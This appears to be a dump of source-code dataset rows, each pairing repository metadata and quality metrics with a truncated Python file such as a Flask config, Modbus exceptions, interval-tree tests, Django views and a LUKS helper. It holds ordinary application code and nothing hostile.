@given('I type "{text}" into the gener... | 34.092593 | 81 | 0.695817 | 240 | 1,841 | 5.179167 | 0.379167 | 0.135157 | 0.044248 | 0.072405 | 0.354787 | 0.241352 | 0.241352 | 0.186645 | 0.186645 | 0.140788 | 0 | 0.00664 | 0.181966 | 1,841 | 53 | 82 | 34.735849 | 0.818725 | 0.462249 | 0 | 0.2 | 0 | 0 | 0.183738 | 0 | 0 | 0 | 0 | 0.018868 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55817e8c081a2fcbcbcf9b89bf9d31ed397b84eb | 6,035 | py | Python | examples/topic-corpus/categorize.py | tgalery/pignlproc | 37f70c1f5c15476d294c63cb044d0874da501eb7 | [
"Apache-2.0"
] | 9 | 2015-03-04T10:48:09.000Z | 2018-03-15T09:41:18.000Z | examples/topic-corpus/categorize.py | tgalery/pignlproc | 37f70c1f5c15476d294c63cb044d0874da501eb7 | [
"Apache-2.0"
] | 2 | 2015-05-14T13:02:56.000Z | 2021-06-18T11:56:48.000Z | examples/topic-corpus/categorize.py | tgalery/pignlproc | 37f70c1f5c15476d294c63cb044d0874da501eb7 | [
"Apache-2.0"
] | 12 | 2015-01-29T13:55:54.000Z | 2017-07-04T10:31:06.000Z | """Simple script to perform a similarity query on a Solr index of topic
Solr is expected to run with the provided schema.xml (just use the
`example/` folder of the default Solr distrib with this schema).
You can install sunburnt (the solr / python connector) and lxml with::
$ pip install sunburnt lxml
"""
imp... | 36.137725 | 80 | 0.636288 | 759 | 6,035 | 4.936759 | 0.295125 | 0.035228 | 0.040833 | 0.024553 | 0.152122 | 0.134774 | 0.126501 | 0.109154 | 0.077929 | 0.046971 | 0 | 0.00918 | 0.259983 | 6,035 | 166 | 81 | 36.355422 | 0.829825 | 0.019387 | 0 | 0.137097 | 0 | 0 | 0.157277 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.080645 | null | null | 0.137097 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55837c95094db54adb4302dc8fc84eb25efcc56a | 1,002 | py | Python | config.py | hypersport/mini-blog | 15bea2232ee072fe3293951cd19d44ab2a207732 | [
"MIT"
] | 2 | 2020-07-13T11:14:28.000Z | 2020-11-02T14:21:19.000Z | config.py | hypersport/mini-blog | 15bea2232ee072fe3293951cd19d44ab2a207732 | [
"MIT"
] | 1 | 2020-11-02T14:21:04.000Z | 2021-08-13T13:53:27.000Z | config.py | hypersport/mini-blog | 15bea2232ee072fe3293951cd19d44ab2a207732 | [
"MIT"
] | null | null | null | import os
class Config():
SECRET_KEY = os.environ.get('FLASK_SECRET_KEY', 'f&k*n@kfa_H*tf^$)')
SSL_DISABLE = False
SQLALCHEMY_COMMIT_ON_TEARDOWN = True
SQLALCHEMY_RECORD_QUERIES = True
SQLALCHEMY_TRACK_MODIFICATIONS = False
FLASKY_SLOW_DB_QUERY_TIME = 0.5
FLASKY_PER_PAGE = 10
CKEDITOR_... | 25.692308 | 75 | 0.677645 | 110 | 1,002 | 5.872727 | 0.645455 | 0.065015 | 0.065015 | 0.080495 | 0.188854 | 0.188854 | 0.188854 | 0.188854 | 0.188854 | 0.188854 | 0 | 0.040103 | 0.228543 | 1,002 | 38 | 76 | 26.368421 | 0.795602 | 0 | 0 | 0.068966 | 0 | 0 | 0.207585 | 0.135729 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034483 | false | 0.034483 | 0.034483 | 0 | 0.689655 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
558c6f236280ddbc41803bce4c532bba78b398c9 | 680 | py | Python | aio_modbus_client/ModbusException.py | businka/aio_modbus_client | 40b872209c402ecfebd4a34b6cff34456a06a569 | [
"MIT"
] | 1 | 2020-11-03T18:33:51.000Z | 2020-11-03T18:33:51.000Z | aio_modbus_client/ModbusException.py | businka/aio_modbus_client | 40b872209c402ecfebd4a34b6cff34456a06a569 | [
"MIT"
] | null | null | null | aio_modbus_client/ModbusException.py | businka/aio_modbus_client | 40b872209c402ecfebd4a34b6cff34456a06a569 | [
"MIT"
] | null | null | null | class ModbusException(Exception):
def __init__(self, code):
codes = {
'1': 'Illegal Function',
'2': 'Illegal Data Address',
'3': 'Illegal Data Value',
'4': 'Slave Device Failure',
'5': 'Acknowledge',
'6': 'Slave Device Busy',
... | 28.333333 | 84 | 0.539706 | 66 | 680 | 5.439394 | 0.712121 | 0.061281 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02603 | 0.322059 | 680 | 23 | 85 | 29.565217 | 0.752712 | 0 | 0 | 0.105263 | 0 | 0 | 0.348529 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.105263 | 0 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
558e041a1a2792f506975e8be66084f47384ce98 | 1,212 | py | Python | tests/Test_quicksect.py | anthonyebiner/quicksectx | ac368ff8cb653bf7ae67727958a73e7ae0a448d0 | [
"MIT"
] | 1 | 2021-12-29T01:02:58.000Z | 2021-12-29T01:02:58.000Z | tests/Test_quicksect.py | anthonyebiner/quicksectx | ac368ff8cb653bf7ae67727958a73e7ae0a448d0 | [
"MIT"
] | 2 | 2021-12-29T01:09:27.000Z | 2022-03-28T20:47:24.000Z | tests/Test_quicksect.py | anthonyebiner/quicksectx | ac368ff8cb653bf7ae67727958a73e7ae0a448d0 | [
"MIT"
] | 2 | 2021-09-10T06:48:43.000Z | 2021-12-29T01:19:38.000Z |
from quicksectx import IntervalTree, Interval
import unittest
tree = IntervalTree()
tree.add(0, 3, 100)
tree.add(5, 8, 110)
tree.add(6, 10, 120)
tree.add(8, 9, 130)
tree.add(15, 23, 140)
tree.add(19, 20, 150)
tree.add(17, 19, 160)
tree.add(26, 26, 160)
tree.add(25, 30, 160)
tree.add(16, 21, 160)
print(tree.search(3,15... | 23.307692 | 45 | 0.625413 | 214 | 1,212 | 3.462617 | 0.261682 | 0.255061 | 0.121457 | 0.107962 | 0.607287 | 0.502024 | 0.439946 | 0.34413 | 0.292848 | 0.292848 | 0 | 0.180808 | 0.183168 | 1,212 | 51 | 46 | 23.764706 | 0.567677 | 0 | 0 | 0.680851 | 0 | 0 | 0.017341 | 0 | 0 | 0 | 0 | 0 | 0.021277 | 1 | 0.021277 | false | 0 | 0.042553 | 0 | 0.085106 | 0.191489 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
558ec1d9498c88b70a7e2494a97ba2e7286d869d | 1,510 | py | Python | trim_func_images.py | veliebm/contrascan | 487d4181c2c49e214a3f66283a021301a3f9a205 | [
"BSD-3-Clause"
] | null | null | null | trim_func_images.py | veliebm/contrascan | 487d4181c2c49e214a3f66283a021301a3f9a205 | [
"BSD-3-Clause"
] | null | null | null | trim_func_images.py | veliebm/contrascan | 487d4181c2c49e214a3f66283a021301a3f9a205 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
"""
Tools to truncate functional images to remove all data recorded before the first stimulus.
To use, call main().
Created on 7/6/2021 by Ben Velie.
"""
# Standard Python modules.
from os import PathLike
import subprocess
def main(onsets_path: PathLike, func_path: PathLike, out_prefix: PathLi... | 26.964286 | 108 | 0.688742 | 209 | 1,510 | 4.751196 | 0.416268 | 0.077543 | 0.084592 | 0.069486 | 0.273917 | 0.207452 | 0.207452 | 0.207452 | 0.207452 | 0.207452 | 0 | 0.010833 | 0.205298 | 1,510 | 55 | 109 | 27.454545 | 0.816667 | 0.327152 | 0 | 0.1 | 0 | 0 | 0.051502 | 0.036481 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.1 | 0 | 0.45 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5591da0cde8ee2aae1ed08b62d8b4e1e392ef1c7 | 928 | py | Python | hc/help/views.py | andela/hc-millennium-falcon | c5f698977539341447e975372aa8650cf8db6b5a | [
"BSD-3-Clause"
] | 2 | 2018-07-21T10:09:09.000Z | 2018-12-11T08:18:03.000Z | hc/help/views.py | andela/hc-millennium-falcon | c5f698977539341447e975372aa8650cf8db6b5a | [
"BSD-3-Clause"
] | 27 | 2018-04-21T08:44:38.000Z | 2021-09-07T23:53:05.000Z | hc/help/views.py | andela/hc-millennium-falcon | c5f698977539341447e975372aa8650cf8db6b5a | [
"BSD-3-Clause"
] | 3 | 2018-09-03T11:39:17.000Z | 2020-03-03T06:09:40.000Z | from django.contrib.auth.decorators import login_required
import requests
from django.shortcuts import get_object_or_404, redirect, render
from hc.help.forms import FaqForm
from django.contrib import messages
from hc.help.models import Faqs
from django.utils import timezone
from datetime import timedelta
def faq(reque... | 33.142857 | 64 | 0.6875 | 118 | 928 | 5.322034 | 0.449153 | 0.063694 | 0.05414 | 0.073248 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00406 | 0.203664 | 928 | 27 | 65 | 34.37037 | 0.845737 | 0 | 0 | 0 | 0 | 0 | 0.080906 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.086957 | false | 0 | 0.347826 | 0.043478 | 0.521739 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
5598d1d5f862122f30ecbc4f096c4519f699f690 | 699 | py | Python | crm/urls.py | klebercode/navasil | b6eec748659e7ba6bf3610a81a766f0efa9b6577 | [
"MIT"
] | null | null | null | crm/urls.py | klebercode/navasil | b6eec748659e7ba6bf3610a81a766f0efa9b6577 | [
"MIT"
] | null | null | null | crm/urls.py | klebercode/navasil | b6eec748659e7ba6bf3610a81a766f0efa9b6577 | [
"MIT"
] | null | null | null | from django.conf import settings
from django.conf.urls import patterns, include, url
from django.conf.urls.static import static
# Uncomment the next two lines to enable the admin:
# import xadmin
# xadmin.autodiscover()
# from xadmin.plugins import xversion
# xversion.register_models()
from django.contrib import adm... | 27.96 | 65 | 0.726753 | 93 | 699 | 5.376344 | 0.419355 | 0.08 | 0.084 | 0.072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1402 | 699 | 24 | 66 | 29.125 | 0.831947 | 0.280401 | 0 | 0 | 0 | 0 | 0.187879 | 0.058586 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
55b0d6d117b5d033ad068b382ac01facaa013edb | 3,248 | py | Python | Driven_Range.py | clean-code-craft-tcq-2/tdd-buckets-yashaswin-mayya | a7f42a298c608fd6dc56f701d6713d1befa42544 | [
"MIT"
] | null | null | null | Driven_Range.py | clean-code-craft-tcq-2/tdd-buckets-yashaswin-mayya | a7f42a298c608fd6dc56f701d6713d1befa42544 | [
"MIT"
] | null | null | null | Driven_Range.py | clean-code-craft-tcq-2/tdd-buckets-yashaswin-mayya | a7f42a298c608fd6dc56f701d6713d1befa42544 | [
"MIT"
] | null | null | null |
class driven_range:
def main(self, inputData):
inputData.sort()
self.inputData = inputData.copy()
return self.generateResult()
def convertDigitalToAnalog(self, digitalValueRange, ADC_Sensor_Type):
# Formula used to convert Digital to Analog:
#
# Analog_Val... | 39.609756 | 96 | 0.60468 | 260 | 3,248 | 7.476923 | 0.342308 | 0.053498 | 0.026749 | 0.040123 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027003 | 0.315887 | 3,248 | 81 | 97 | 40.098765 | 0.847885 | 0.160099 | 0 | 0 | 1 | 0 | 0.032091 | 0.010697 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.25 | 0.089286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55b27c88fee7e50b1a656dbb342ee0b380b12d64 | 1,159 | py | Python | libxlsxwriter/test/functional/test_fit_to_pages.py | White-116/xlsxd | b7f467cda76e93dd17bc7aaa2879e6c112ce4cf9 | [
"BSD-3-Clause"
] | 7 | 2019-07-24T14:25:45.000Z | 2022-03-06T04:29:39.000Z | libxlsxwriter/test/functional/test_fit_to_pages.py | White-116/xlsxd | b7f467cda76e93dd17bc7aaa2879e6c112ce4cf9 | [
"BSD-3-Clause"
] | 14 | 2019-07-03T11:03:05.000Z | 2022-01-18T13:55:13.000Z | libxlsxwriter/test/functional/test_fit_to_pages.py | White-116/xlsxd | b7f467cda76e93dd17bc7aaa2879e6c112ce4cf9 | [
"BSD-3-Clause"
] | 3 | 2019-08-06T21:35:29.000Z | 2021-07-08T08:11:34.000Z | ###############################################################################
#
# Tests for libxlsxwriter.
#
# Copyright 2014-2019, John McNamara, jmcnamara@cpan.org
#
import base_test_class
class TestCompareXLSXFiles(base_test_class.XLSXBaseTest):
"""
Test file created with libxlsxwriter against a file cre... | 33.114286 | 79 | 0.653149 | 142 | 1,159 | 4.985915 | 0.295775 | 0.09887 | 0.127119 | 0.084746 | 0.543785 | 0.543785 | 0.543785 | 0.543785 | 0.543785 | 0.543785 | 0 | 0.033916 | 0.160483 | 1,159 | 34 | 80 | 34.088235 | 0.693731 | 0.129422 | 0 | 0.294118 | 0 | 0 | 0.30253 | 0.132013 | 0 | 0 | 0 | 0 | 0 | 1 | 0.294118 | false | 0 | 0.058824 | 0 | 0.411765 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55b94200e590df4a1365e10f9b852cca135d7827 | 1,758 | py | Python | task2.py | inwk6312winter2019/model-openbook2-gauravdal | e91e45dbbc71aa603c1362ff19b44ccfca8ac401 | [
"MIT"
] | null | null | null | task2.py | inwk6312winter2019/model-openbook2-gauravdal | e91e45dbbc71aa603c1362ff19b44ccfca8ac401 | [
"MIT"
] | null | null | null | task2.py | inwk6312winter2019/model-openbook2-gauravdal | e91e45dbbc71aa603c1362ff19b44ccfca8ac401 | [
"MIT"
] | null | null | null | def num_of_bus_stops(bus_data, street_data):
counter = 0
for bus in bus_data:
if(bus[7] == "Accessible"):
for street in street_data:
if(bus[9] == street[23]):
if(street[10]== "ARTERIAL"):
counter = counter + 1
return "Number of bus_stops from street class ARTERIAL and has accessible facilitie... | 32.555556 | 109 | 0.575085 | 222 | 1,758 | 4.369369 | 0.193694 | 0.079381 | 0.093814 | 0.12268 | 0.659794 | 0.617526 | 0.57732 | 0.57732 | 0.53299 | 0.53299 | 0 | 0.026778 | 0.32025 | 1,758 | 53 | 110 | 33.169811 | 0.784937 | 0 | 0 | 0.404762 | 0 | 0 | 0.200228 | 0.012514 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55bc4fb2f62c847bbcc98863dbd11adc353dbe33 | 1,055 | py | Python | src/settings.py | nsde/argoncraft | a61279d8e237700fe9cb17d11f0463eb30444bcc | [
"MIT"
] | 1 | 2021-04-20T14:15:20.000Z | 2021-04-20T14:15:20.000Z | src/settings.py | nsde/argoncraft | a61279d8e237700fe9cb17d11f0463eb30444bcc | [
"MIT"
] | null | null | null | src/settings.py | nsde/argoncraft | a61279d8e237700fe9cb17d11f0463eb30444bcc | [
"MIT"
] | null | null | null | import sys
import tkinter
import functools
def getwin():
window = tkinter.Tk()
globals()['window_data'] = window
return window
def close():
globals()['window_data'].destroy()
def popup():
import argoncraft
win = getwin()
win.title('ArgonCraft - Settings')
win.config(bg=argoncraft.get... | 24.534884 | 70 | 0.605687 | 113 | 1,055 | 5.60177 | 0.433628 | 0.255924 | 0.094787 | 0.06951 | 0.262243 | 0.262243 | 0.262243 | 0.14218 | 0 | 0 | 0 | 0.004878 | 0.222749 | 1,055 | 42 | 71 | 25.119048 | 0.767073 | 0 | 0 | 0.176471 | 0 | 0 | 0.090047 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.088235 | false | 0 | 0.117647 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55bf03aa9061be3c4f0b1d0f22dccec2731c37cd | 9,705 | py | Python | scripts/graph.py | maurizioabba/rose | 7597292cf14da292bdb9a4ef573001b6c5b9b6c0 | [
"BSD-3-Clause"
] | 488 | 2015-01-09T08:54:48.000Z | 2022-03-30T07:15:46.000Z | scripts/graph.py | sujankh/rose-matlab | 7435d4fa1941826c784ba97296c0ec55fa7d7c7e | [
"BSD-3-Clause"
] | 174 | 2015-01-28T18:41:32.000Z | 2022-03-31T16:51:05.000Z | scripts/graph.py | sujankh/rose-matlab | 7435d4fa1941826c784ba97296c0ec55fa7d7c7e | [
"BSD-3-Clause"
] | 146 | 2015-04-27T02:48:34.000Z | 2022-03-04T07:32:53.000Z | #!/usr/bin/env python
#
###############################################################################
#
# Author: Gary Yuan
# Date: 8/24/2006
# File: graph.py
# Purpose: Plots ROSE performance data
#
###############################################################################
import sys
import os
import string
i... | 29.409091 | 86 | 0.565791 | 1,101 | 9,705 | 4.965486 | 0.208901 | 0.082312 | 0.054875 | 0.052314 | 0.286629 | 0.182733 | 0.144686 | 0.114871 | 0.071337 | 0.071337 | 0 | 0.006068 | 0.167955 | 9,705 | 329 | 87 | 29.49848 | 0.67096 | 0.043998 | 0 | 0.20398 | 0 | 0 | 0.216339 | 0.007346 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.039801 | null | null | 0.024876 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e94cffe60c8db9f0fdc5eafbd905ab5e0d413b77 | 748 | py | Python | automated_debugger/get_methods.py | malus-security/kobold | 2ae23b75ec503ef3702ad297ddbb7824ac4da53c | [
"BSD-3-Clause"
] | 3 | 2020-06-26T19:44:46.000Z | 2021-03-25T07:00:04.000Z | automated_debugger/get_methods.py | malus-security/kobold | 2ae23b75ec503ef3702ad297ddbb7824ac4da53c | [
"BSD-3-Clause"
] | null | null | null | automated_debugger/get_methods.py | malus-security/kobold | 2ae23b75ec503ef3702ad297ddbb7824ac4da53c | [
"BSD-3-Clause"
] | 1 | 2020-09-14T23:46:31.000Z | 2020-09-14T23:46:31.000Z | import pickle
with open('./mystery_protocols_iPhone_4.0_64bit_11.1.2_15B202_2018-07-09.pk', 'rb') as handle:
class_dump_results = pickle.load(handle)
#at this point, only executable using sandbox accessible mach-ports should be in the dictionary
for executable in executableDictionary:
if class_dump_results[execut... | 44 | 95 | 0.740642 | 94 | 748 | 5.712766 | 0.585106 | 0.067039 | 0.119181 | 0.145251 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032357 | 0.132353 | 748 | 16 | 96 | 46.75 | 0.795069 | 0.125668 | 0 | 0 | 0 | 0 | 0.136294 | 0.098009 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.076923 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e94d70f7b753f4742ef52bb22404c127eec6b49b | 3,548 | py | Python | atopaserver/usuarios/migrations/0001_initial.py | clbravo/atopa_server | ab84e16d14915a643eb7d9fb91bd407e5b5a6cc6 | [
"MIT"
] | null | null | null | atopaserver/usuarios/migrations/0001_initial.py | clbravo/atopa_server | ab84e16d14915a643eb7d9fb91bd407e5b5a6cc6 | [
"MIT"
] | 7 | 2020-06-06T00:48:19.000Z | 2021-12-22T20:38:10.000Z | atopaserver/usuarios/migrations/0001_initial.py | clbravo/atopa_server | ab84e16d14915a643eb7d9fb91bd407e5b5a6cc6 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.6 on 2020-05-22 08:33
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import usuarios.managers
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0011_update_proxy_permissions'),
... | 51.42029 | 266 | 0.61584 | 376 | 3,548 | 5.654255 | 0.345745 | 0.062088 | 0.039511 | 0.059266 | 0.375823 | 0.375823 | 0.293509 | 0.223895 | 0.223895 | 0.223895 | 0 | 0.017228 | 0.247463 | 3,548 | 68 | 267 | 52.176471 | 0.779026 | 0.012683 | 0 | 0.311475 | 1 | 0 | 0.204799 | 0.008283 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.016393 | 0.065574 | 0 | 0.131148 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9503fde9a5928afcf276a6174fafd9567216cf2 | 406 | py | Python | index.py | SlashNephy/samekan052 | 70be033b095a8a343aabea34eccdb0a76f57cad8 | [
"MIT"
] | 5 | 2020-11-19T01:42:14.000Z | 2022-03-08T00:05:32.000Z | index.py | SlashNephy/samekan052 | 70be033b095a8a343aabea34eccdb0a76f57cad8 | [
"MIT"
] | 2 | 2021-01-28T09:06:26.000Z | 2021-05-06T20:33:00.000Z | index.py | SlashNephy/samekan052 | 70be033b095a8a343aabea34eccdb0a76f57cad8 | [
"MIT"
] | 1 | 2021-01-28T07:00:18.000Z | 2021-01-28T07:00:18.000Z | from flask import Flask, render_template, jsonify
from flask_cors import CORS
from makeSentence import makeSentence
app = Flask(__name__)
CORS(app)
@app.route("/")
def index():
return render_template("index.html", sentence=makeSentence())
@app.route("/api")
def api():
return jsonify(sentence=makeSentence()... | 17.652174 | 65 | 0.699507 | 52 | 406 | 5.173077 | 0.461538 | 0.066915 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.165025 | 406 | 22 | 66 | 18.454545 | 0.79351 | 0 | 0 | 0 | 0 | 0 | 0.064039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.2 | 0.133333 | 0.466667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
e952f29ce020542cd77db1937b8a0646d528ff9e | 5,672 | py | Python | nldrp/feature_extraction/pipeline/utterance_feature_loader.py | etzinis/nldrp | 3b6e24aa86a6d43bfd6f753b346739c00c282de3 | [
"MIT"
] | 6 | 2018-10-27T13:16:36.000Z | 2020-09-07T17:34:11.000Z | nldrp/feature_extraction/pipeline/utterance_feature_loader.py | etzinis/nldrp | 3b6e24aa86a6d43bfd6f753b346739c00c282de3 | [
"MIT"
] | null | null | null | nldrp/feature_extraction/pipeline/utterance_feature_loader.py | etzinis/nldrp | 3b6e24aa86a6d43bfd6f753b346739c00c282de3 | [
"MIT"
] | 2 | 2018-10-29T16:20:09.000Z | 2020-02-12T16:06:52.000Z | """!
\brief Utterance level feature loader pipeline for loading the
extracted features in appropriate format for utterance calssification
from scikit models and kfold--leave one out pipeline.
@author Efthymios Tzinis {etzinis@gmail.com}
@copyright National Technical University of Athens
"""
import argparse
import num... | 34.375758 | 71 | 0.557828 | 630 | 5,672 | 4.826984 | 0.346032 | 0.029596 | 0.055903 | 0.026636 | 0.069385 | 0.041434 | 0 | 0 | 0 | 0 | 0 | 0.006812 | 0.327045 | 5,672 | 165 | 72 | 34.375758 | 0.789887 | 0 | 0 | 0.016529 | 0 | 0 | 0.261132 | 0.012901 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.049587 | null | null | 0.008264 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e9541144dd183c2b8ffd0f57fad4d6c8023460b1 | 16,077 | py | Python | luckyLUKS/utils.py | jas-per/luckyLUKS | af25e682c8a11b6f43b80f8815f5c9c8342a260f | [
"Linux-OpenIB"
] | 22 | 2015-01-09T23:30:36.000Z | 2022-01-25T14:32:16.000Z | luckyLUKS/utils.py | jas-per/luckyLUKS | af25e682c8a11b6f43b80f8815f5c9c8342a260f | [
"Linux-OpenIB"
] | 8 | 2015-03-03T18:37:00.000Z | 2022-01-25T11:28:38.000Z | luckyLUKS/utils.py | jas-per/luckyLUKS | af25e682c8a11b6f43b80f8815f5c9c8342a260f | [
"Linux-OpenIB"
] | 4 | 2018-05-25T02:05:24.000Z | 2021-02-23T16:19:24.000Z | """
Helper to establish a root-worker process and ipc handler.
luckyLUKS Copyright (c) 2014,2015 Jasper van Hoorn (muzius@gmail.com)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 ... | 53.059406 | 247 | 0.596504 | 1,826 | 16,077 | 5.161555 | 0.272727 | 0.022281 | 0.016976 | 0.023024 | 0.230769 | 0.194695 | 0.152361 | 0.14069 | 0.113528 | 0.10504 | 0 | 0.00375 | 0.320022 | 16,077 | 302 | 248 | 53.235099 | 0.858397 | 0.288424 | 0 | 0.270718 | 0 | 0 | 0.110928 | 0.011075 | 0 | 0 | 0 | 0 | 0.033149 | 1 | 0.055249 | false | 0.077348 | 0.077348 | 0 | 0.187845 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e95651c86c405048dc468f4882afc40370197890 | 1,605 | py | Python | django_discount/migrations/0003_auto_20201202_0203.py | Execut3/django-discount | 36dd54d7e77f804500bfda38fc2f1c398bdc5e38 | [
"Apache-2.0"
